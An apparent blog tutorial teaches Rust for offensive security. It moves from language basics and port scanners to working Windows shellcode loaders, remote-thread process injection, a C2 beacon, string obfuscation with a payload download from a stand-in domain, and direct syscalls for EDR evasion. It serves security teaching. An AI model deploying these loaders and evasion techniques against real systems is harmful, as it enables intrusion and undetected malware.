Rust is a systems language with C-level performance and the kind of memory safety guarantees that eliminate whole categories of bugs you’d usually be exploiting. That feels counterintuitive for offensive work at first — why pick a “safe” language to write attacks in? — but the answer is practical. You get stable, fast tools that don’t crash mid-engagement, binaries with less-recognizable signatures than the C# and Python equivalents most EDRs were trained on, and a compiler that catches the kind of memory bugs that turn your dropper into a Windows error dialog at exactly the wrong moment.
The defensive side has noticed too. The 2023 US National Cybersecurity Strategy recommended a long-term shift to memory-safe languages, and the ONCD’s 2024 “Back to the Building Blocks” report named Rust specifically. That’s a defensive concern, but it works in offensive favor: the more legitimate Rust binaries are on disk, the less your Rust implant stands out.
This post covers Rust from basics through ownership, concurrency, and the actually-interesting bits — direct syscalls, process injection, async C2, and obfuscation. The Windows API shellcode runner is at the end.
Setting up your Rust environment#
Installing Rust#
Rust ships through rustup, which manages toolchains and targets.
Linux/macOS:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | shWindows:
Download and run the installer from rustup.rs .
After installation, confirm cargo (Rust’s package manager and build tool) is in your path:
rustc --version
cargo --versionEssential tools for offensive development#
# Add the Windows target for cross-compilation from Linux
rustup target add x86_64-pc-windows-gnu
# Install useful components
rustup component add clippy # Linter
rustup component add rustfmt # Code formatterFor Windows development, you’ll need a linker toolchain. On Linux, install mingw-w64:
# Debian/Ubuntu
sudo apt install mingw-w64
# Arch
sudo pacman -S mingw-w64-gccYour first Rust project#
cargo new my_offensive_tool
cd my_offensive_tool
cargo build --release
cargo runThe Cargo.toml file manages dependencies, and src/main.rs is where your code lives.
Rust language fundamentals#
Variables and mutability#
Variables are immutable by default. Assignment binds a name once; rebinding requires mut.
fn main() {
let x = 5; // Immutable by default
// x = 6; // ERROR: cannot assign twice to immutable variable
let mut y = 10; // Mutable with 'mut' keyword
y = 20; // This is allowed
const MAX_PORTS: u16 = 65535; // Compile-time constant (SCREAMING_SNAKE_CASE)
println!("x = {}, y = {}, MAX = {}", x, y, MAX_PORTS);
}Shadowing#
You can declare a new variable with the same name, “shadowing” the previous one. This is useful for type conversions:
fn main() {
let spaces = " "; // &str (string slice)
let spaces = spaces.len(); // Now it's usize (integer)
println!("Number of spaces: {}", spaces);
}Data types#
Rust is statically typed, meaning the compiler must know all types at compile time.
Scalar Types:
fn main() {
// Integers (default is i32)
let port: u16 = 443; // Unsigned 16-bit (0 to 65535)
let offset: i64 = -0x1000; // Signed 64-bit
let byte: u8 = 0x90; // NOP instruction
// Floats
let ratio: f64 = 0.75;
// Boolean
let is_admin: bool = true;
// Character (4 bytes, Unicode scalar value)
let sample_char: char = 'Z';
println!("Port: {}, Is Admin: {}, Char: {}", port, is_admin, sample_char);
}Compound Types:
fn main() {
// Tuple: fixed-length, mixed types
let target: (&str, u16, bool) = ("192.168.1.1", 445, true);
let (ip, port, is_open) = target; // Destructuring
println!("{}:{} - Open: {}", ip, port, is_open);
// Array: fixed-length, same type (stack allocated)
let shellcode: [u8; 4] = [0x90, 0x90, 0x90, 0xCC]; // NOPs + INT3
println!("First byte: 0x{:02X}", shellcode[0]);
// Vector: dynamic length (heap allocated)
let mut ports: Vec<u16> = Vec::new();
ports.push(22);
ports.push(80);
ports.push(443);
println!("Ports to scan: {:?}", ports);
}Operators#
fn main() {
// Arithmetic
let a = 10 + 5;
let b = 10 - 5;
let c = 10 * 5;
let d = 10 / 3; // Integer division = 3
let e = 10 % 3; // Remainder = 1
// Comparison (returns bool)
let equal = (5 == 5);
let not_equal = (5 != 3);
let greater = (5 > 3);
// Logical
let and = true && false;
let or = true || false;
let not = !true;
// Bitwise (crucial for shellcode and protocol work)
let xor = 0xAA ^ 0x55; // XOR encryption
let and_mask = 0xFF & 0x0F; // Masking
let shift_left = 1 << 3; // 8
let shift_right = 0x80 >> 4; // 0x08
println!("XOR: 0x{:02X}, Shift: {}", xor, shift_left);
}Control structures#
If/Else:
fn check_port(port: u16) {
if port < 1024 {
println!("Port {} is privileged (requires root)", port);
} else if port == 3389 {
println!("Port {} is RDP - interesting!", port);
} else {
println!("Port {} is a high port", port);
}
}
// Rust's if is an expression - it returns a value
fn get_service(port: u16) -> &'static str {
if port == 22 { "SSH" } else if port == 80 { "HTTP" } else { "Unknown" }
}Loops:
fn main() {
// Infinite loop with break
let mut counter = 0;
let result = loop {
counter += 1;
if counter == 10 {
break counter * 2; // Returns 20
}
};
println!("Loop result: {}", result);
// While loop
let mut n = 3;
while n != 0 {
println!("{}...", n);
n -= 1;
}
println!("LIFTOFF!");
// For loop (most common, safe)
let ports = [22, 80, 443, 3389];
for port in ports.iter() {
println!("Scanning port {}", port);
}
// Range-based for loop
for port in 1..1024 { // 1 to 1023 (exclusive)
// Do something
}
for port in 1..=1024 { // 1 to 1024 (inclusive)
// Do something
}
}Functions#
// Function with parameters and return type
fn calculate_checksum(data: &[u8]) -> u32 {
let mut sum: u32 = 0;
for byte in data {
sum = sum.wrapping_add(*byte as u32); // Prevent overflow panic
}
sum // No semicolon = implicit return
}
fn main() {
let payload: [u8; 4] = [0x90, 0x90, 0xCC, 0xC3];
let checksum = calculate_checksum(&payload);
println!("Checksum: 0x{:08X}", checksum);
}Ownership and borrowing#
Ownership is how Rust manages memory without a garbage collector. The compiler tracks who owns each allocation and inserts the free at the end of that owner’s scope. You get C-like performance and predictable timing with no GC pauses mid-exploit.
The rules of ownership#
- Every value has exactly one owner.
- When the owner goes out of scope, the value is dropped.
- Ownership transfers (“moves”) by default on assignment or function call.
Moving versus copying#
Simple scalar types (integers, floats, booleans) use the Copy trait, so Rust copies them on assignment. Complex types (String, Vec, etc.) move by default.
fn main() {
// Copy semantics (stack-only data)
let x: i32 = 5;
let y = x; // x is COPIED, both are valid
println!("x = {}, y = {}", x, y); // Works!
// Move semantics (heap data)
let s1 = String::from("payload");
let s2 = s1; // s1 is MOVED to s2, s1 is now INVALID
// println!("{}", s1); // ERROR: borrow of moved value
println!("{}", s2); // Works!
}Borrowing with references#
To use a value without taking ownership, you borrow it using a reference (&).
fn main() {
let s1 = String::from("payload");
let len = calculate_length(&s1); // Pass a reference
println!("'{}' has {} bytes", s1, len); // s1 is still valid!
}
fn calculate_length(s: &String) -> usize {
s.len() // We can read s, but not change it
}Mutable borrowing#
To change a borrowed value, you need a mutable reference (&mut).
fn main() {
let mut buffer = String::from("GET /");
append_host(&mut buffer, "target.com");
println!("{}", buffer); // "GET / HTTP/1.1\r\nHost: target.com"
}
fn append_host(request: &mut String, host: &str) {
request.push_str(" HTTP/1.1\r\nHost: ");
request.push_str(host);
}The borrowing rules:
- At any time, you can have either one mutable reference or any number of immutable ones — never both.
- References must always be valid (no dangling pointers).
These two rules prevent data races at compile time. That’s the “fearless concurrency” tagline.
Why this matters for security#
The same rules eliminate the classic memory-corruption bugs at compile time:
- Use-after-free: the compiler refuses to let you use a value after its owner drops it.
- Double free: only one owner can drop a value, so a second free never compiles.
- Data races: mutable and shared borrows can’t coexist, so two threads can’t be writing the same memory.
These are the bugs you’d usually be exploiting. In safe Rust they don’t compile.
Pattern matching and enums#
match covers what switch does in C, but it forces exhaustive coverage and works on enum variants with attached data. That’s useful for parsing protocols or branching on scan results without a chain of ifs that the compiler can’t check.
enums with data structures#
enum ScanResult {
Open(u16), // Port number
Closed(u16),
Filtered(u16),
Error(u16, String), // Port and error message
}
fn handle_result(result: ScanResult) {
match result {
ScanResult::Open(port) => println!("[+] Port {} is OPEN", port),
ScanResult::Closed(port) => println!("[-] Port {} is closed", port),
ScanResult::Filtered(port) => println!("[?] Port {} is filtered", port),
ScanResult::Error(port, msg) => eprintln!("[!] Port {} error: {}", port, msg),
}
}The Option type#
Rust does not have null. Instead, it uses Option<T> to represent values that might be absent.
fn find_service(port: u16) -> Option<&'static str> {
match port {
22 => Some("SSH"),
80 => Some("HTTP"),
443 => Some("HTTPS"),
445 => Some("SMB"),
3389 => Some("RDP"),
_ => None,
}
}
fn main() {
let port = 445;
match find_service(port) {
Some(service) => println!("Port {} -> {}", port, service),
None => println!("Port {} -> Unknown service", port),
}
// Or use if-let for simpler cases
if let Some(svc) = find_service(22) {
println!("SSH detected: {}", svc);
}
}The Result type and error handling#
Rust does not have exceptions. It uses Result<T, E> to represent operations that can fail.
use std::fs::File;
use std::io::{self, Read};
fn read_wordlist(path: &str) -> Result<String, io::Error> {
let mut file = File::open(path)?; // ? propagates error if open fails
let mut contents = String::new();
file.read_to_string(&mut contents)?;
Ok(contents)
}
fn main() {
match read_wordlist("/usr/share/wordlists/rockyou.txt") {
Ok(data) => println!("Loaded {} bytes", data.len()),
Err(e) => eprintln!("Failed to load wordlist: {}", e),
}
}The ? operator is sugar for “if this Result is Err, return it early; otherwise unwrap the Ok.” It’s how error handling looks in idiomatic Rust — almost invisible in the happy path.
Structs and impl blocks#
Structs hold named fields. Methods live in an impl block, not on the struct itself.
struct Target {
ip: String,
hostname: Option<String>,
ports: Vec<u16>,
is_dc: bool,
}
impl Target {
// Associated function (like a static method or constructor)
fn new(ip: &str) -> Self {
Target {
ip: ip.to_string(),
hostname: None,
ports: Vec::new(),
is_dc: false,
}
}
// Method (takes &self or &mut self)
fn add_port(&mut self, port: u16) {
if !self.ports.contains(&port) {
self.ports.push(port);
}
}
fn has_smb(&self) -> bool {
self.ports.contains(&445)
}
fn display(&self) {
let name = self.hostname.as_deref().unwrap_or("Unknown");
println!("[Target: {} ({})]", self.ip, name);
println!(" Ports: {:?}", self.ports);
println!(" Is DC: {}", self.is_dc);
}
}
fn main() {
let mut target = Target::new("192.168.1.10");
target.hostname = Some("DC01.corp.local".to_string());
target.add_port(445);
target.add_port(88);
target.add_port(389);
target.is_dc = true;
target.display();
if target.has_smb() {
println!("[+] SMB is open - consider relay attacks!");
}
}Concurrency: a multi-threaded port scanner#
The borrow checker catches data races at compile time, so the multithreaded code below is the obvious shape: spawn workers, give each one its own Sender, collect results on the main thread.
Basic threading with channels#
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::mpsc::{channel, Sender};
use std::thread;
use std::time::Duration;
fn scan_port(tx: Sender<u16>, ip: IpAddr, port: u16) {
let addr = SocketAddr::new(ip, port);
// Timeout is critical for network scanning
if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
// Send the open port back to the main thread
tx.send(port).expect("Channel send failed");
}
}
fn main() {
let target: IpAddr = "127.0.0.1".parse().expect("Invalid IP");
let (tx, rx) = channel(); // Multi-producer, single-consumer channel
let mut handles = Vec::new();
// Scan first 1024 ports
for port in 1..=1024 {
let tx_clone = tx.clone();
let handle = thread::spawn(move || {
scan_port(tx_clone, target, port);
});
handles.push(handle);
}
// Drop original sender so receiver knows when to stop
drop(tx);
// Wait for all threads to complete
for handle in handles {
handle.join().expect("Thread panicked");
}
// Collect and print results
println!("\n[+] Open Ports:");
let mut open_ports: Vec<u16> = rx.iter().collect();
open_ports.sort();
for port in open_ports {
println!(" {}", port);
}
}Thread pooling with rayon#
Spawning a thread per port is inefficient for 65k ports. Use a thread pool:
# Cargo.toml
[dependencies]
rayon = "1.8"use rayon::prelude::*;
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::Mutex;
use std::time::Duration;
fn main() {
let target: IpAddr = "127.0.0.1".parse().unwrap();
let open_ports = Mutex::new(Vec::new());
// Parallel iteration over all ports
(1..=65535_u16).into_par_iter().for_each(|port| {
let addr = SocketAddr::new(target, port);
if TcpStream::connect_timeout(&addr, Duration::from_millis(100)).is_ok() {
open_ports.lock().unwrap().push(port);
}
});
let mut results = open_ports.into_inner().unwrap();
results.sort();
println!("[+] Open Ports on {}:", target);
for port in results {
println!(" {}", port);
}
}rayon owns the thread pool, work stealing, and load balancing. The whole scan is around fifteen lines, and it doesn’t fall over when you point it at all 65k ports.
Networking: TCP and HTTP clients#
Raw TCP client#
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
fn grab_banner(ip: &str, port: u16) -> Result<String, Box<dyn std::error::Error>> {
let addr = format!("{}:{}", ip, port);
let mut stream = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(5)
)?;
stream.set_read_timeout(Some(Duration::from_secs(3)))?;
// Some services send a banner immediately (SSH, FTP, SMTP)
let mut buffer = [0u8; 1024];
let n = stream.read(&mut buffer)?;
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}
fn main() {
match grab_banner("127.0.0.1", 22) {
Ok(banner) => println!("[+] SSH Banner:\n{}", banner.trim()),
Err(e) => eprintln!("[-] Error: {}", e),
}
}HTTP client with reqwest#
For higher-level HTTP work, use the reqwest crate:
# Cargo.toml
[dependencies]
reqwest = { version = "0.11", features = ["blocking"] }use reqwest::blocking::Client;
use std::time::Duration;
fn check_url(url: &str) -> Result<(u16, usize), reqwest::Error> {
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true) // Ignore TLS errors for internal testing
.build()?;
let resp = client.get(url).send()?;
let status = resp.status().as_u16();
let body = resp.text()?;
Ok((status, body.len()))
}
fn main() {
let urls = vec![
"http://localhost/",
"http://localhost/admin",
"http://localhost/robots.txt",
];
for url in urls {
match check_url(url) {
Ok((status, len)) => println!("[{}] {} ({} bytes)", status, url, len),
Err(_) => println!("[ERR] {}", url),
}
}
}Unsafe Rust and the Windows API#
Anything that touches the kernel, dereferences a raw pointer, or calls into a foreign function lives behind unsafe. The keyword doesn’t turn off the borrow checker — it grants four extra abilities the compiler can’t verify on your behalf:
- Dereference raw pointers.
- Call an unsafe function or method.
- Read or mutate a mutable static.
- Implement an unsafe trait.
Everything else still has to type-check.
The windows crate#
Microsoft maintains the windows crate, which gives you bindings to the full Win32 surface. Safe wrappers where the API allows it, raw unsafe bindings where it doesn’t.
# Cargo.toml
[dependencies]
windows = { version = "0.58", features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
] }Shellcode runner (proof of concept)#
The runner below allocates memory, copies shellcode in, flips the protection to executable, and jumps to it. It’s the textbook in-process loader.
This is for educational purposes on systems you own or have explicit authorization to test. Deploying malware without authorization is illegal.
#![cfg(target_os = "windows")]
use std::ptr;
use windows::Win32::System::Memory::{
VirtualAlloc, VirtualProtect,
MEM_COMMIT, MEM_RESERVE,
PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS,
};
/// Allocates memory, copies shellcode, and executes it.
/// Uses read-write to read-execute to avoid read-write-execute pages (EDR red flag).
fn execute_shellcode(shellcode: &[u8]) -> Result<(), &'static str> {
unsafe {
// 1. Allocate Read-Write memory
let addr = VirtualAlloc(
None, // Let the system choose the address
shellcode.len(), // Size of the allocation
MEM_COMMIT | MEM_RESERVE, // Commit and reserve pages
PAGE_READWRITE, // Start read-write (not executable)
);
if addr.is_null() {
return Err("VirtualAlloc failed");
}
// 2. Copy shellcode into the allocated memory
ptr::copy_nonoverlapping(
shellcode.as_ptr(),
addr as *mut u8,
shellcode.len(),
);
// 3. Change protection from read-write to read-execute
// This avoids the read-write-execute red flag that EDRs look for
let mut old_protect = PAGE_PROTECTION_FLAGS::default();
let protect_result = VirtualProtect(
addr,
shellcode.len(),
PAGE_EXECUTE_READ,
&mut old_protect,
);
if protect_result.is_err() {
return Err("VirtualProtect failed");
}
// 4. Cast memory to a function pointer and execute
let exec_fn: extern "system" fn() = std::mem::transmute(addr);
exec_fn();
Ok(())
}
}
fn main() {
// Example: x64 Windows shellcode for calc.exe (replace with your payload)
// This is a stub - real shellcode would be generated by msfvenom or similar
let shellcode: [u8; 4] = [
0x90, // NOP
0x90, // NOP
0xCC, // INT3 (breakpoint - for debugging)
0xC3, // RET
];
println!("[*] Allocating memory and executing shellcode...");
match execute_shellcode(&shellcode) {
Ok(()) => println!("[+] shellcode executed successfully"),
Err(e) => eprintln!("[-] Error: {}", e),
}
}Key OPSEC considerations (read-write and read-execute)#
- Avoid read-write-execute pages: This example uses
PAGE_READWRITEfor copying, thenVirtualProtectto flip toPAGE_EXECUTE_READ. This is stealthier than allocatingPAGE_EXECUTE_READWRITEdirectly. - Encrypt your shellcode: Embed encrypted shellcode and decrypt it in memory before execution to evade static signature detection.
- syscall evasion: Some EDR tooling hooks user-mode API calls. Advanced techniques call
NtAllocateVirtualMemorydirectly or use syscalls. - Compilation profile: Use
--releasefor optimized binaries and consider stripping symbols.
Asynchronous Rust: building a high-performance C2#
OS threads work fine for the port-scanner example. They don’t scale to a C2 server with thousands of concurrent agents or an implant juggling keylogging, screen capture, and network sniffing without blocking. For that, you want async/await — the same model JavaScript and Python use, except Rust resolves it to state machines at compile time and runs them on whichever thread is free.
The Rust standard library defines the async traits but doesn’t ship a runtime. The runtime is what actually polls and schedules futures. In practice, that’s Tokio — the alternative runtimes exist (async-std, smol) but Tokio has the ecosystem.
An async C2 beacon stub#
Here is an example of an asynchronous HTTP beacon that sleeps efficiently (without blocking a thread) and executes commands.
[dependencies]
tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.11", features = ["json"] }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"use reqwest::Client;
use serde::{Deserialize, Serialize};
use std::time::Duration;
use tokio::time::sleep;
#[derive(Serialize, Deserialize, Debug)]
struct Task {
id: String,
command: String,
args: Vec<String>,
}
#[derive(Serialize, Deserialize, Debug)]
struct Response {
id: String,
output: String,
}
const C2_URL: &str = "http://127.0.0.1:8080/api/beacon";
const AGENT_ID: &str = "agent-x-42";
async fn fetch_task(client: &Client) -> Result<Option<Task>, reqwest::Error> {
// Send a heartbeat and ask for tasks
let resp = client.get(format!("{}/{}", C2_URL, AGENT_ID))
.send()
.await?;
if resp.status().is_success() {
let task = resp.json::<Task>().await?;
Ok(Some(task))
} else {
Ok(None)
}
}
async fn send_result(client: &Client, task_id: &str, output: &str) -> Result<(), reqwest::Error> {
let response = Response {
id: task_id.to_string(),
output: output.to_string(),
};
client.post(format!("{}/response", C2_URL))
.json(&response)
.send()
.await?;
Ok(())
}
#[tokio::main]
async fn main() {
let client = Client::new();
let sleep_interval = Duration::from_secs(5);
println!("[*] Agent {} starting...", AGENT_ID);
loop {
// Beacon
match fetch_task(&client).await {
Ok(Some(task)) => {
println!("[+] Received task: {}", task.command);
// Execute (Simulated)
let output = if task.command == "whoami" {
"nt authority\\system".to_string()
} else {
format!("Unknown command: {}", task.command)
};
// Send result
if let Err(e) = send_result(&client, &task.id, &output).await {
eprintln!("[-] Failed to send result: {}", e);
}
}
Ok(None) => {
// No task, go back to sleep
}
Err(e) => {
eprintln!("[-] Connection error: {}", e);
}
}
// Non-blocking sleep: yields the thread to other tasks
sleep(sleep_interval).await;
}
}The shape is different from the threaded scanner. sleep(...).await doesn’t park the thread — it yields control back to the runtime, which goes off and polls whichever other task is ready. A single OS thread can hold hundreds of these state machines. Scale that to a C2 with thousands of agents and you stop being able to do it any other way.
Evasion: process injection#
The runner above injected code into its own process, which is fine for testing but useless operationally — kill the dropper, lose the payload. Real loaders inject into a host process (explorer.exe, notepad.exe, anything plausibly already running) so the implant outlives the dropper that planted it.
Classic remote-thread injection is the simplest version using the windows crate.
Remote thread injection#
The four steps:
- Getting a handle to a target process (
OpenProcess). - Allocating memory in that process (
VirtualAllocEx). - Writing our payload (
WriteProcessMemory). - Creating a thread in that process to run the payload (
CreateRemoteThread).
use std::ffi::c_void;
use std::ptr;
use windows::Win32::Foundation::{CloseHandle, FALSE};
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Memory::{
VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
};
use windows::Win32::System::Threading::{
CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS,
};
fn inject_shellcode(pid: u32, shellcode: &[u8]) -> Result<(), String> {
unsafe {
// 1. Open the target process
let process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
.map_err(|e| format!("OpenProcess failed: {}", e))?;
if process_handle.is_invalid() {
return Err("Invalid process handle".into());
}
// 2. Allocate memory in the target process
let remote_addr = VirtualAllocEx(
process_handle,
None,
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE, // Note: RWX is a major IOC!
);
if remote_addr.is_null() {
CloseHandle(process_handle);
return Err("VirtualAllocEx failed".into());
}
// 3. Write shellcode
let mut bytes_written = 0;
let write_result = WriteProcessMemory(
process_handle,
remote_addr,
shellcode.as_ptr() as *const c_void,
shellcode.len(),
Some(&mut bytes_written),
);
if write_result.is_err() || bytes_written != shellcode.len() {
CloseHandle(process_handle);
return Err("WriteProcessMemory failed".into());
}
// 4. Create remote thread
let thread_handle = CreateRemoteThread(
process_handle,
None,
0,
Some(std::mem::transmute(remote_addr)),
None,
0,
None,
);
if thread_handle.is_err() {
CloseHandle(process_handle);
return Err("CreateRemoteThread failed".into());
}
// Cleanup
CloseHandle(thread_handle.unwrap());
CloseHandle(process_handle);
Ok(())
}
}OPSEC Warning: The use of PAGE_EXECUTE_READWRITE (RWX) memory is a massive red flag for any EDR. A better approach (standard in modern loaders) is:
- Allocate as
PAGE_READWRITE. - Write the shellcode.
- Use
VirtualProtectExto flip it toPAGE_EXECUTE_READ.
Furthermore, APIs like CreateRemoteThread are heavily hooked. Modern Rust malware often uses Direct Syscalls (using crates like windows-syscalls) to bypass user-mode hooks entirely.
Obfuscation: hiding your intent#
The first thing an analyst does with an unknown binary is run strings on it. If yours contains cmd.exe, OpenProcess, http://bad-c2.example, or anything else that betrays intent, you’ve handed them the reverse-engineering shortcut. Rust’s compile-time macros make it easy to keep those out of the static binary entirely — strings get encrypted at compile time and decrypted in memory only when needed.
The obfstr crate#
[dependencies]
obfstr = "0.4"use obfstr::obfstr;
fn main() {
// The string "powershell.exe" never appears in the binary
let shell = obfstr!("powershell.exe");
println!("Launching: {}", shell);
// It works for static contexts too
let url = obfstr!("https://very-legit-domain.com/payload.bin");
download(url);
}This crate uses XOR encryption with a random key generated at compile time. Every build produces a binary with different byte signatures for these strings.
API hashing#
The other tell is your Import Address Table. If you link MessageBoxA directly, it shows up in the IAT and the analyst gets a free roadmap of what your binary does. The fix is to resolve the function pointer at runtime from a hash of the name, so the name itself never appears anywhere.
A full implementation is out of scope here, but the logic in Rust matches the C version:
- Walk the PEB (Process Environment Block).
- Find
kernel32.dll. - Walk its Export Address Table.
- Hash each function name.
- If hash matches target, call the function pointer.
Rust’s vobfuscator crate creates a similar effect by obfuscating control flow, though it is currently experimental.
Advanced evasion: direct system calls#
In the previous process injection example, we used high-level Windows APIs like OpenProcess. These functions reside in kernel32.dll, which eventually calls NtOpenProcess in ntdll.dll, which then executes the syscall CPU instruction to transition to the kernel.
Modern EDRs hook ntdll.dll. They overwrite the start of NtOpenProcess with a jmp instruction that redirects execution to their own inspection DLL. If we call OpenProcess, we jump right into the EDR’s lap.
To bypass this, we can use Direct System Calls. We skip ntdll.dll entirely and execute the syscall instruction ourselves.
Implementing direct syscalls in Rust#
Rust’s support for inline assembly (core::arch::asm!) makes this surprisingly ergonomic.
First, we need to know the System Service Number (SSN) for the function we want to call (for example, NtAllocateVirtualMemory). Note that SSNs change between Windows versions, so robust malware resolves them dynamically (a technique called “Hell’s Gate” or “Halo’s Gate”). For this example, we’ll use a hardcoded SSN for Windows 10.
use std::arch::asm;
/// A raw system call wrapper for NtAllocateVirtualMemory (x64)
unsafe fn my_nt_allocate_virtual_memory(
process_handle: isize,
base_address: *mut *mut std::ffi::c_void,
zero_bits: usize,
region_size: *mut usize,
allocation_type: u32,
protect: u32,
) -> i32 {
let mut status: i32;
// The SSN for NtAllocateVirtualMemory on Windows 10 1903+ is often 0x18
// In reality, you must resolve this dynamically!
let ssn: u32 = 0x18;
asm!(
"mov r10, rcx",
"mov eax, {0:e}",
"syscall",
in(reg) ssn,
in("rcx") process_handle,
in("rdx") base_address,
in("r8") zero_bits,
in("r9") region_size,
lateout("rax") status,
// The remaining arguments are passed on the stack per x64 calling convention
// This is simplified; handling >4 args in inline asm is tricky.
// For production, use the `syscalls` crate.
);
status
}This code is invisible to user-mode hooks. The EDR monitoring ntdll.dll will never see this call happen.
The Rust community has wrapped this complexity in crates like windows-syscalls or freshycalls, which allow you to define the prototypes and handle the SSN resolution automatically.
CLI argument parsing#
std::env::args() is fine for throwaway scripts but tedious for anything you want to reuse. The de facto crate is clap, which derives a parser straight from your struct definitions.
[dependencies]
clap = { version = "4.0", features = ["derive"] }use clap::{Parser, Subcommand};
#[derive(Parser)]
#[command(author, version, about = "Rust Red Team Toolset")]
struct Cli {
/// Target IP address or hostname
#[arg(short, long)]
target: String,
/// Target port
#[arg(short, long, default_value_t = 80)]
port: u16,
/// Mode of operation
#[command(subcommand)]
command: Option<Commands>,
}
#[derive(Subcommand)]
enum Commands {
/// Perform a port scan
Scan {
/// Scan all 65535 ports
#[arg(long)]
full: bool,
},
/// Exploit the target
Exploit {
/// Payload type (shell/calc/beacon)
#[arg(short, long)]
payload: String,
},
}
fn main() {
let cli = Cli::parse();
println!("[*] Target: {}", cli.target);
println!("[*] Port: {}", cli.port);
match &cli.command {
Some(Commands::Scan { full }) => {
if *full {
println!("[*] performing FULL scan...");
} else {
println!("[*] performing QUICK scan...");
}
}
Some(Commands::Exploit { payload }) => {
println!("[!] Launching exploit with payload: {}", payload);
}
None => {
println!("[*] No command specified, running default check...");
}
}
}Run it with --help and you get the generated usage text for free:
Rust Red Team Toolset 1.0
UncleSp1d3r
Red Team Toolset
USAGE:
tool [OPTIONS] --target <TARGET>
OPTIONS:
-t, --target <TARGET> Target IP address or hostname
-p, --port <PORT> Target port [default: 80]
-h, --help Print help
-V, --version Print versionClap handles --help generation, type validation, subcommands, and the dozen other things you’d otherwise reimplement badly. Worth using even for personal tools — the help text becomes the documentation, and the type validation catches typos before they become engagement-time mistakes.
Error handling: anyhow and thiserror#
The Result examples earlier used std::io::Error or strings. Real programs hit a half-dozen error types per request path — IO, network, serialization, your own logic — and converting between them gets noisy fast.
For applications, anyhow is the standard. It gives you a single Result type that anything implementing Error can flow into, plus .context() for adding human-readable breadcrumbs.
use anyhow::{Context, Result};
fn connect_to_c2() -> Result<()> {
// Context adds a message to the error chain
let config = std::fs::read_to_string("config.json")
.context("Failed to read C2 configuration file")?;
// ... parse json ...
Ok(())
}
fn main() {
if let Err(e) = connect_to_c2() {
eprintln!("Error: {:?}", e);
// Prints: Error: Failed to read C2 configuration file
// Caused by: The system cannot find the file specified. (os error 2)
}
}For libraries, use thiserror instead. It derives the std::error::Error impl from a custom enum so callers get a real, matchable error type rather than a bag of strings.
Foreign Function Interface: talking to C#
Most operating system APIs are C interfaces, so any serious systems work in Rust eventually needs FFI. It’s not painless, but it’s straightforward.
Calling C from Rust#
Suppose you have a legacy C library for a proprietary protocol you want to fuzz.
// legacy.c
int risky_function(char* input, int len) {
// ...
return 0;
}// main.rs
use std::ffi::CString;
use std::os::raw::{c_char, c_int};
// Declare the external function
#[link(name = "legacy")]
extern "C" {
fn risky_function(input: *const c_char, len: c_int) -> c_int;
}
fn call_legacy_code(data: &str) {
let c_str = CString::new(data).expect("CString::new failed");
unsafe {
risky_function(c_str.as_ptr(), data.len() as c_int);
}
}Calling Rust from C#
You can also write a shared library (.dll or .so) in Rust that can be loaded by a C program (or Python with ctypes, or a C# application).
// lib.rs
#[no_mangle]
pub extern "C" fn rust_entry_point() {
println!("Hello from Rust DLL!");
}Compile this with crate-type = ["cdylib"] in Cargo.toml, and you have a DLL that can be injected into processes using standard injection techniques.
Cargo and the crate ecosystem#
cargo and crates.io
cover dependency management, builds, tests, and publishing. Pulling in a library is one line of Cargo.toml. After years of working with pip, npm, and go mod, the lack of footguns here is genuinely the thing I’d miss most if I went back.
Useful crates for offensive development#
| Crate | Purpose |
|---|---|
reqwest | HTTP client (sync and async) |
tokio | Asynchronous runtime for high-performance I/O |
clap | Command-line argument parsing |
serde / serde_json | Serialization/deserialization |
rayon | Data parallelism (thread pools) |
windows | Official Windows API bindings |
nix | Unix/Linux system calls |
pcap | Packet capture |
dns-lookup | DNS resolution |
base64 / hex | Encoding utilities |
ring / aes-gcm | Cryptography |
goblin | PE/ELF/Mach-O binary parsing |
Notable offensive Rust projects#
- RustScan: The modern port scanner. Claims to scan 65k ports in seconds by adaptively adjusting
ulimitand using asynchronous I/O. - Feroxbuster: A high-speed recursive content discovery tool (directory busting). Faster than
dirborgobuster. - Ripgrep (rg): Not an offensive tool, but a fast grep alternative. It’s useful for log analysis and codebase searching.
- Haylxon: High-performance screenshotting tool for web reconnaissance.
- RustRedOps: A repository of advanced offensive techniques implemented in Rust, including process injection, syscall evasion, and more.
- Sliver: While the primary codebase is Go, Sliver’s implant generation supports Rust for stealthier agents.
Cross-compilation#
You can build Windows binaries from Linux without leaving your dev box. Add the target with rustup, install a linker, build.
Setup#
# Add Windows target
rustup target add x86_64-pc-windows-gnu
# Install the linker
sudo apt install mingw-w64Build#
cargo build --release --target x86_64-pc-windows-gnuYour executable will be in target/x86_64-pc-windows-gnu/release/.
Optimizing binary size#
Rust binaries can be large due to static linking and debug info. Add this to Cargo.toml:
[profile.release]
opt-level = "z" # Optimize for size
lto = true # Link-Time Optimization
codegen-units = 1 # Single codegen unit for better optimization
panic = "abort" # No unwinding (smaller binary)
strip = true # Strip symbolsThen install and use upx for extra compression:
upx --best target/release/your_tool.exePros and cons for red team operators#
| Feature | Rust | C/C++ | Python | Go |
|---|---|---|---|---|
| Performance | Strong | Strong | Poor | Good |
| Memory Safety | Compile-time | Manual | Managed | Managed (GC) |
| Binary Size | Medium-Large | Small | N/A (Interpreter) | Large |
| Cross-compilation | Strong | Difficult | N/A | Strong |
| AV/EDR evasion | Good (novel signatures) | Good | Poor (known tools) | Good |
| Learning Curve | Steep | High | Low | Moderate |
| Asynchronous I/O | Strong | Difficult | Good (asyncio) | Strong |
